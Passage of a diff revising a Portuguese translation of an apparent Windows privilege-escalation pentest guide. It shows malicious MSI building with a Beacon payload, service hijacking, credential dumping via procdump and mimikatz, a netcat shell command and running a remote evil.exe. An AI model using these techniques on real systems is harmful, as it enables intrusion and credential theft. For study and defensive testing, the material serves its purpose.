pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GIU): +Use o comando `Write-UserAddMSI` do PowerUP para criar, no diretório atual, um binário MSI do Windows para escalar privilégios. Este script grava um instalador MSI pré-compilado que solicita a adição de um usuário/grupo (portanto você precisará de acesso GUI): ``` Write-UserAddMSI ``` -Basta executar o binário criado para elevar privilégios. +Basta executar o binário criado para escalar privilégios. ### MSI Wrapper -Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Observe que você pode empacotar um "**.bat**" file se você **apenas** quiser **executar** **linhas de comando** +Leia este tutorial para aprender como criar um MSI wrapper usando estas ferramentas. Observe que você pode empacotar um arquivo "**.bat**" se você **apenas** quiser **executar** **linhas de comando** {{#ref}} @@ -252,27 +260,27 @@ create-msi-with-wix.md ### Criar MSI com Visual Studio - **Gere** com Cobalt Strike ou Metasploit um **novo Windows EXE TCP payload** em `C:\privesc\beacon.exe` -- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de pesquisa. Selecione o projeto **Setup Wizard** e clique **Next**. -- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** para a localização, selecione **place solution and project in the same directory**, e clique em **Create**. -- Continue clicando **Next** até chegar ao passo 3 de 4 (choose files to include). Clique **Add** e selecione o Beacon payload que você acabou de gerar. Então clique em **Finish**. -- Destaque o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, altere **TargetPlatform** de **x86** para **x64**. -- Existem outras propriedades que você pode alterar, como **Author** e **Manufacturer**, o que pode tornar o aplicativo instalado mais legítimo. +- Abra **Visual Studio**, selecione **Create a new project** e digite "installer" na caixa de busca. Selecione o projeto **Setup Wizard** e clique em **Next**. +- Dê ao projeto um nome, como **AlwaysPrivesc**, use **`C:\privesc`** como local, selecione **place solution and project in the same directory**, e clique em **Create**. +- Continue clicando **Next** até chegar ao passo 3 de 4 (escolher arquivos para incluir). Clique **Add** e selecione o Beacon payload que você gerou. Então clique em **Finish**. +- Selecione o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, mude **TargetPlatform** de **x86** para **x64**. +- Há outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo. - Clique com o botão direito no projeto e selecione **View > Custom Actions**. - Clique com o botão direito em **Install** e selecione **Add Custom Action**. -- Dê um duplo-clique em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o payload beacon seja executado assim que o instalador for executado. +- Clique duas vezes em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o Beacon payload seja executado assim que o instalador for executado. - Em **Custom Action Properties**, altere **Run64Bit** para **True**. -- Finalmente, **build**. +- Por fim, **compile-o**. - Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de definir a plataforma para x64. ### Instalação do MSI -Para executar a **instalação** do arquivo malicioso `.msi` em **segundo plano:** +Para executar a **instalação** do arquivo `.msi` malicioso em **segundo plano:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Para explorar esta vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ +Para explorar essa vulnerabilidade você pode usar: _exploit/windows/local/always_install_elevated_ -## Antivírus e Detectores +## Antivírus e Detetores ### Configurações de Auditoria @@ -282,13 +290,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — é interessante saber para onde os logs são enviados. +Windows Event Forwarding, é interessante saber para onde os logs são enviados ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** é projetado para o **gerenciamento de senhas do Administrador local**, garantindo que cada senha seja **única, aleatória e atualizada regularmente** em computadores associados a um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que receberam permissões suficientes através de ACLs, permitindo que visualizem as senhas de administrador local se autorizados. +**LAPS** foi projetado para o **gerenciamento de senhas do Administrator local**, garantindo que cada senha seja **única, randomizada e atualizada regularmente** em computadores ingressados em um domínio. Essas senhas são armazenadas com segurança no Active Directory e só podem ser acessadas por usuários que tenham recebido permissões suficientes através de ACLs, permitindo que visualizem senhas de admin local se autorizados. {{#ref}} @@ -297,15 +305,15 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Se ativo, **senhas em texto simples são armazenadas no LSASS** (Local Security Authority Subsystem Service).\ +Se ativo, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### Proteção LSA +### LSA Protection -A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, reforçando a segurança do sistema.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) +A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Local Security Authority (LSA) com o objetivo de **block** tentativas de processos não confiáveis de **read its memory** ou inject code, reforçando a segurança do sistema.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` @@ -317,16 +325,17 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** são autenticadas pela **Local Security Authority** (LSA) e utilizadas por componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, as domain credentials do usuário geralmente são estabelecidas.\ +**Domain credentials** são autenticadas pela **Local Security Authority** (LSA) e utilizadas pelos componentes do sistema operacional. Quando os dados de logon de um usuário são autenticados por um pacote de segurança registrado, domain credentials para o usuário são normalmente estabelecidas.\ + [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Usuários & Grupos +## Usuários e Grupos -### Enumerar Usuários & Grupos +### Enumerar Usuários e Grupos -Verifique se algum dos grupos dos quais você faz parte possui permissões interessantes +Você deve verificar se algum dos grupos aos quais você pertence possui permissões interessantes ```bash # CMD net users %username% #Me @@ -343,17 +352,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Grupos privilegiados -Se você **pertencer a algum grupo privilegiado, pode conseguir elevar privilégios**. Aprenda sobre grupos privilegiados e como abusar deles para elevar privilégios aqui: +Se você **pertence a algum grupo privilegiado, pode conseguir escalar privilégios**. Saiba sobre grupos privilegiados e como abusar deles para escalar privilégios aqui: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Manipulação de tokens +### Manipulação de Token **Saiba mais** sobre o que é um **token** nesta página: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Consulte a página a seguir para **aprender sobre tokens interessantes** e como abusar deles: +Confira a página a seguir para **aprender sobre tokens interessantes** e como abusar deles: {{#ref}} @@ -382,8 +391,8 @@ powershell -command "Get-Clipboard" ### Permissões de Arquivos e Pastas -Primeiro, ao listar os processos **verifique se há senhas na linha de comando do processo**.\ -Verifique se você pode **sobrescrever algum binário em execução** ou se você tem permissões de escrita na pasta do binário para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): +Antes de tudo, ao listar os processos **verifique se existem senhas na command line do processo**.\ +Verifique se você pode **overwrite algum binary em execução** ou se você tem permissões de escrita na pasta do binary para explorar possíveis [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,7 +403,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Sempre verifique se há possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar deles para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Verifique sempre se há [**electron/cef/chromium debuggers** em execução; você pode abusar disso para escalar privilégios](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Verificando permissões dos binários dos processos** ```bash @@ -405,7 +414,7 @@ icacls "%%z" ) ) ``` -**Verificando permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Verificando as permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -415,19 +424,19 @@ todos %username%" && echo. ``` ### Memory Password mining -Você pode criar um memory dump de um processo em execução usando **procdump** da sysinternals. Serviços como FTP têm as **credentials in clear text in memory**; tente dump the memory e leia as credenciais. +Você pode criar um dump de memória de um processo em execução usando **procdump** do sysinternals. Serviços como FTP têm as **credentials in clear text in memory**, tente fazer um dump da memória e ler as credentials. ```bash procdump.exe -accepteula -ma ``` -### Aplicativos GUI inseguros +### Aplicações GUI inseguras -**Aplicativos executando como SYSTEM podem permitir que um usuário abra um CMD ou navegue por diretórios.** +**Aplicações executando como SYSTEM podem permitir que um usuário abra um CMD, ou navegue por diretórios.** -Exemplo: "Windows Help and Support" (Windows + F1), pesquise por "command prompt", clique em "Click to open Command Prompt" +Exemplo: "Windows Help and Support" (Windows + F1), procure por "command prompt", clique em "Click to open Command Prompt" ## Serviços -Obter uma lista de serviços: +Obtenha uma lista de serviços: ```bash net start wmic service list brief @@ -436,26 +445,26 @@ Get-Service ``` ### Permissões -Você pode usar **sc** para obter informações sobre um serviço +Você pode usar **sc** para obter informações de um serviço ```bash sc qc ``` -É recomendado ter o binário **accesschk** do _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço. +Recomenda-se ter o binário **accesschk** do _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Recomenda-se verificar se "Authenticated Users" podem modificar algum serviço: +Recomenda-se verificar se "Authenticated Users" podem modificar qualquer serviço: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[Você pode baixar accesschk.exe para XP aqui](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Ativar serviço +### Habilitar serviço -Se você está recebendo este erro (por exemplo com SSDPSRV): +Se você estiver recebendo este erro (por exemplo com SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ @@ -471,7 +480,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **Modificar caminho do binário do serviço** No cenário em que o grupo "Authenticated users" possui **SERVICE_ALL_ACCESS** em um serviço, é possível modificar o binário executável do serviço. Para modificar e executar **sc**: ```bash @@ -488,18 +497,18 @@ net stop [service name] && net start [service name] ``` Privilégios podem ser escalados através de várias permissões: -- **SERVICE_CHANGE_CONFIG**: Permite reconfigurar o binário do serviço. -- **WRITE_DAC**: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações do serviço. -- **WRITE_OWNER**: Permite aquisição de propriedade e reconfiguração de permissões. +- **SERVICE_CHANGE_CONFIG**: Permite a reconfiguração do binário do serviço. +- **WRITE_DAC**: Habilita a reconfiguração de permissões, permitindo alterar configurações do serviço. +- **WRITE_OWNER**: Permite a aquisição de propriedade e a reconfiguração de permissões. - **GENERIC_WRITE**: Concede a capacidade de alterar configurações do serviço. - **GENERIC_ALL**: Também concede a capacidade de alterar configurações do serviço. -Para detecção e exploração desta vulnerabilidade, o _exploit/windows/local/service_permissions_ pode ser utilizado. +Para a detecção e exploração desta vulnerabilidade, pode-se utilizar o _exploit/windows/local/service_permissions_. -### Permissões fracas nos binários de serviços +### Permissões fracas em binários de serviços -**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html)).\ -Você pode obter todos os binários que são executados por um serviço usando **wmic** (não em system32) e verificar suas permissões usando **icacls**: +**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de gravação na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Você pode obter todos os binários que são executados por um serviço usando **wmic** (not in system32) e verificar suas permissões usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -514,7 +523,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ### Permissões de modificação do registro de serviços Você deve verificar se pode modificar qualquer registro de serviço.\ -Você pode **verificar** suas **permissões** sobre um **registro** de serviço executando: +Você pode **verificar** suas **permissões** sobre um **registro de serviço** fazendo: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,24 +532,24 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissões `FullControl`. Se sim, o binário executado pelo serviço pode ser alterado. +Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissão `FullControl`. Se sim, o binário executado pelo serviço pode ser alterado. Para alterar o Path do binário executado: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Permissões AppendData/AddSubdirectory no registro de serviços +### Services registry AppendData/AddSubdirectory permissions -Se você tem essa permissão sobre um registro, isso significa que **você pode criar sub-registros a partir deste**. No caso de serviços do Windows, isso é **suficiente para executar código arbitrário:** +Se você tiver essa permissão sobre um registro isso significa que **você pode criar sub-registros a partir deste**. No caso dos serviços do Windows isto é **suficiente para executar código arbitrário:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Caminhos de serviço sem aspas +### Unquoted Service Paths -Se o caminho para um executável não estiver entre aspas, o Windows tentará executar cada parte que termina antes de um espaço. +Se o caminho para um executável não estiver entre aspas, Windows tentará executar cada trecho terminado antes de um espaço. For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash @@ -548,7 +557,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Liste todos os caminhos de serviço não entre aspas, excluindo aqueles pertencentes aos serviços integrados do Windows: +Liste todos os caminhos de serviços sem aspas, excluindo aqueles pertencentes a serviços integrados do Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -574,13 +583,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Ações de Recuperação -O Windows permite que os usuários especifiquem ações a serem executadas se um serviço falhar. Esse recurso pode ser configurado para apontar para um binary. Se esse binary puder ser substituído, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](). +O Windows permite que usuários especifiquem ações a serem executadas se um serviço falhar. Essa funcionalidade pode ser configurada para apontar para um binary. Se esse binary puder ser substituído, é possível realizar privilege escalation. Mais detalhes podem ser encontrados na [documentação oficial](). ## Aplicações ### Aplicações Instaladas -Verifique as permissões dos binaries (talvez você consiga sobrescrever um e realizar privilege escalation) e das pastas ([DLL Hijacking](dll-hijacking/index.html)). +Verifique as **permissões dos binaries** (talvez você consiga overwrite um e escalate privileges) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -589,9 +598,9 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Permissões de escrita +### Permissões de gravação -Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks). +Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial, ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks). Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é fazendo: ```bash @@ -618,8 +627,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Executar na inicialização -**Verifique se você pode sobrescrever alguma entrada do registry ou algum binary que será executado por um usuário diferente.**\ -**Leia** a **página a seguir** para saber mais sobre interessantes **autoruns locations to escalate privileges**: +**Verifique se você pode sobrescrever algum registry ou binary que será executado por um usuário diferente.**\ +**Leia** a **página seguinte** para saber mais sobre interessantes **autoruns locations to escalate privileges**: {{#ref}} @@ -628,7 +637,7 @@ privilege-escalation-with-autorun-binaries.md ### Drivers -Procure por possíveis **third party weird/vulnerable** drivers +Procure por possíveis drivers **de terceiros estranhos/vulneráveis** ```bash driverquery driverquery.exe /fo table @@ -643,14 +652,15 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Se você tiver **write permissions dentro de uma pasta presente no PATH** você poderá hijack uma DLL carregada por um processo e **escalar privilégios**. +Se você tem **write permissions inside a folder present on PATH**, pode conseguir hijackar uma DLL carregada por um processo e **escalate privileges**. -Verifique as permissões de todas as pastas dentro do PATH: +Verifique as permissões de todas as pastas presentes no PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` Para mais informações sobre como abusar desta verificação: + {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}} @@ -665,9 +675,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts file +### arquivo hosts -Verifique se há outros computadores conhecidos hardcoded no hosts file +Verifique se há outros computadores conhecidos hardcoded no arquivo hosts ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -679,11 +689,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Portas Abertas -Verifique por **serviços restritos** a partir do exterior +Verifique a existência de **serviços restritos** acessíveis externamente ```bash netstat -ano #Opened ports? ``` -### Tabela de Roteamento +### Tabela de Rotas ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -695,9 +705,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Regras de Firewall -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** +[**Consulte esta página para comandos relacionados ao Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** -Mais[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Mais [comandos para enumeração de rede aqui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -706,14 +716,14 @@ C:\Windows\System32\wsl.exe ``` O binário `bash.exe` também pode ser encontrado em `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se você obtiver o usuário root, poderá ouvir em qualquer porta (na primeira vez que usar `nc.exe` para ouvir em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). +Se você obtiver root user, pode escutar em qualquer porta (a primeira vez que você usar `nc.exe` para escutar em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Para iniciar o bash como root facilmente, você pode tentar `--default-user root` +Para iniciar facilmente o bash como root, você pode tentar `--default-user root` Você pode explorar o sistema de arquivos do `WSL` na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` @@ -731,14 +741,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Gerenciador de credenciais / Windows Vault +### Gerenciador de credenciais / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas que o **Windows** pode usar para **fazer o login dos usuários automaticamente**. À primeira vista, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente pelos navegadores. Mas não é assim. +De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +O Windows Vault armazena credenciais de usuário para servidores, sites e outros programas nos quais o **Windows** pode **efetuar login automaticamente**. A princípio, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente através dos navegadores. Mas não é assim. -O Windows Vault armazena credenciais que o Windows pode usar para efetuar o login dos usuários automaticamente, o que significa que qualquer **aplicativo Windows que precise de credenciais para acessar um recurso** (servidor ou um website) **pode fazer uso deste Credential Manager** & Windows Vault e utilizar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. +O Windows Vault armazena credenciais que o Windows pode usar para efetuar login automaticamente, o que significa que qualquer **aplicação Windows que precise de credenciais para acessar um recurso** (servidor ou um site) **pode fazer uso deste Credential Manager** & Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. -A menos que os aplicativos interajam com o Credential Manager, não acredito que seja possível para eles usar as credenciais para um determinado recurso. Portanto, se seu aplicativo quiser fazer uso do vault, ele deve de alguma forma **comunicar-se com o credential manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. +A menos que as aplicações interajam com o Credential Manager, não acredito que seja possível que elas usem as credenciais para um recurso específico. Portanto, se sua aplicação quiser fazer uso do cofre, ela deve de alguma forma **comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. Use o `cmdkey` para listar as credenciais armazenadas na máquina. ```bash @@ -748,38 +758,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Então você pode usar `runas` com a opção `/savecred` para utilizar as credenciais salvas. O exemplo a seguir chama um binário remoto via um SMB share. +Então você pode usar `runas` com a opção `/savecred` para utilizar as credenciais salvas. O exemplo a seguir chama um binário remoto através de um compartilhamento SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Usando `runas` com um conjunto fornecido de credential. +Usando `runas` com um conjunto de credential fornecido. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Observe que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou do [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -A **API de Proteção de Dados (DPAPI)** fornece um método para criptografia simétrica de dados, usada predominantemente no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo do usuário ou do sistema para contribuir significativamente para a entropia. +A **Data Protection API (DPAPI)** fornece um método para criptografia simétrica de dados, usado predominantemente no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia aproveita um segredo do usuário ou do sistema para contribuir significativamente para a entropia. -**A DPAPI permite a criptografia de chaves por meio de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários envolvendo criptografia do sistema, ela utiliza os segredos de autenticação de domínio do sistema. +**DPAPI permite a criptografia de chaves através de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários envolvendo criptografia do sistema, ele utiliza os segredos de autenticação de domínio do sistema. -Chaves RSA de usuário criptografadas, ao usar a DPAPI, são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) do usuário. **A chave DPAPI, co-localizada com a chave mestre que protege as chaves privadas do usuário no mesmo arquivo**, tipicamente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a este diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell). +As chaves RSA de usuário criptografadas com DPAPI são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o usuário's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, normalmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a este diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado via PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Você pode usar o **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo. +Você pode usar **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo. -Os **credentials files protected by the master password** geralmente estão localizados em: +Os **arquivos de credenciais protegidos pela master password** geralmente estão localizados em: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Você pode usar o **módulo do mimikatz** `dpapi::cred` com o /masterkey apropriado para descriptografar.\\ -Você pode **extrair muitas DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). +Você pode usar **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\ +Você pode **extrair muitos DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). {{#ref}} @@ -788,9 +798,9 @@ dpapi-extracting-passwords.md ### Credenciais do PowerShell -**Credenciais do PowerShell** são frequentemente usadas para **scripting** e tarefas de automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando **DPAPI**, o que normalmente significa que elas só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas. +**Credenciais do PowerShell** são frequentemente usadas para tarefas de **scripting** e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando **DPAPI**, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas. -Para **descriptografar** uma credencial do PS a partir do arquivo que a contém você pode fazer: +Para **descriptografar** uma credencial do PowerShell a partir do arquivo que a contém, você pode fazer: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -815,7 +825,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| Você pode encontrá-las em `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ e em `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Comandos executados recentemente +### Comandos Recentemente Executados ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -824,18 +834,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use o **Mimikatz** `dpapi::rdg` module com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg**\ -Você pode **extrair muitos DPAPI masterkeys** da memória com o Mimikatz `sekurlsa::dpapi` module +Use o **Mimikatz** `dpapi::rdg` module com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg**\ +Você pode **extrair muitas DPAPI masterkeys** da memória com o módulo `sekurlsa::dpapi` do Mimikatz ### Sticky Notes -Pessoas frequentemente 